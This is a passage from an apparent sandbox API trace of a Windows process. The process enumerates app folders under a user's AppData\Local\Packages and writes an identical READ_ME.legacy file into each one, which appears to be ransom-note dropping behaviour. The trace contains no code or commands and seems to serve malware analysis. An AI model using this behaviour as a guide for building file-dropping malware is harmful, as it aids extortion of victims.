Size=0xa0) returned 0x5e8070 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f406e8 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7bd8 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0138.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0138.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.463] GetLastError () returned 0x0 [0138.463] SetLastError (dwErrCode=0x0) [0138.463] GetLastError () returned 0x0 [0138.464] SetLastError (dwErrCode=0x0) [0138.464] GetLastError () returned 0x0 [0138.464] SetLastError (dwErrCode=0x0) [0138.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0138.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0138.465] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.466] CloseHandle (hObject=0x744) returned 1 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7bd8 | out: hHeap=0x520000) returned 1 [0138.466] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9428887, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.MIC")) returned 1 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0138.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0138.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0138.466] GetLastError () returned 0x0 [0138.466] SetLastError (dwErrCode=0x0) [0138.466] GetLastError () returned 0x0 [0138.466] SetLastError (dwErrCode=0x0) [0138.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0138.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.466] GetLastError () returned 0x0 [0138.467] SetLastError (dwErrCode=0x0) [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60f788 [0138.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0138.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f788 | out: hHeap=0x520000) returned 1 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e8460 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40580 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7e78 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0138.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.467] GetLastError () returned 0x0 [0138.467] SetLastError (dwErrCode=0x0) [0138.467] GetLastError () returned 0x0 [0138.467] SetLastError (dwErrCode=0x0) [0138.467] GetLastError () returned 0x0 [0138.467] SetLastError (dwErrCode=0x0) [0138.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0138.468] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.481] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0138.481] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.482] CloseHandle (hObject=0x744) returned 1 [0138.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0138.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0138.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0138.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e78 | out: hHeap=0x520000) returned 1 [0138.482] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdba259a9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.MIC")) returned 1 [0138.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0138.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0138.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0138.482] GetLastError () returned 0x0 [0138.483] SetLastError (dwErrCode=0x0) [0138.483] GetLastError () returned 0x0 [0138.483] SetLastError (dwErrCode=0x0) [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0138.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.483] GetLastError () returned 0x0 [0138.483] SetLastError (dwErrCode=0x0) [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0138.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0138.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40710 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0138.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0138.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.483] GetLastError () returned 0x0 [0138.483] SetLastError (dwErrCode=0x0) [0138.484] GetLastError () returned 0x0 [0138.484] SetLastError (dwErrCode=0x0) [0138.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0138.484] GetLastError () returned 0x0 [0138.484] SetLastError (dwErrCode=0x0) [0138.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563f10 [0138.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f10 | out: hHeap=0x520000) returned 1 [0138.590] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.591] CloseHandle (hObject=0x744) returned 1 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0138.591] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.MIC")) returned 1 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0138.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0138.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0138.591] GetLastError () returned 0x0 [0138.591] SetLastError (dwErrCode=0x0) [0138.591] GetLastError () returned 0x0 [0138.591] SetLastError (dwErrCode=0x0) [0138.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.591] GetLastError () returned 0x0 [0138.591] SetLastError (dwErrCode=0x0) [0138.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0138.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60f108 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0138.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f108 | out: hHeap=0x520000) returned 1 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e412e8 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40828 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41458 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0138.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.592] GetLastError () returned 0x0 [0138.592] SetLastError (dwErrCode=0x0) [0138.592] GetLastError () returned 0x0 [0138.592] SetLastError (dwErrCode=0x0) [0138.592] GetLastError () returned 0x0 [0138.592] SetLastError (dwErrCode=0x0) [0138.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0138.592] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0138.594] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.595] CloseHandle (hObject=0x744) returned 1 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41458 | out: hHeap=0x520000) returned 1 [0138.595] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.MSPaint_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MSP")) returned 1 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0138.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0138.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0138.595] GetLastError () returned 0x0 [0138.595] SetLastError (dwErrCode=0x0) [0138.595] GetLastError () returned 0x0 [0138.595] SetLastError (dwErrCode=0x0) [0138.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.595] GetLastError () returned 0x0 [0138.595] SetLastError (dwErrCode=0x0) [0138.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0138.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0138.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0138.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f40620 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e73c0 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0138.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.596] GetLastError () returned 0x0 [0138.596] SetLastError (dwErrCode=0x0) [0138.596] GetLastError () returned 0x0 [0138.596] SetLastError (dwErrCode=0x0) [0138.596] GetLastError () returned 0x0 [0138.596] SetLastError (dwErrCode=0x0) [0138.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41b88 [0138.596] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41b88 | out: hHeap=0x520000) returned 1 [0138.598] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.599] CloseHandle (hObject=0x744) returned 1 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e73c0 | out: hHeap=0x520000) returned 1 [0138.599] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33b4c3b0, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_8")) returned 1 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0138.599] GetLastError () returned 0x0 [0138.599] SetLastError (dwErrCode=0x0) [0138.599] GetLastError () returned 0x0 [0138.599] SetLastError (dwErrCode=0x0) [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.599] GetLastError () returned 0x0 [0138.599] SetLastError (dwErrCode=0x0) [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0138.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41db0 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f405f8 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41c40 [0138.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0138.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0138.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0138.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0138.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0138.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0138.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0138.600] GetLastError () returned 0x0 [0138.600] SetLastError (dwErrCode=0x0) [0138.600] GetLastError () returned 0x0 [0138.600] SetLastError (dwErrCode=0x0) [0138.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0138.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0138.600] GetLastError () returned 0x0 [0138.600] SetLastError (dwErrCode=0x0) [0138.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0138.600] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0138.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0138.775] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0138.778] CloseHandle (hObject=0x744) returned 1 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41c40 | out: hHeap=0x520000) returned 1 [0138.778] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33dfacc4, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.1_8")) returned 1 [0138.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0138.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0138.778] 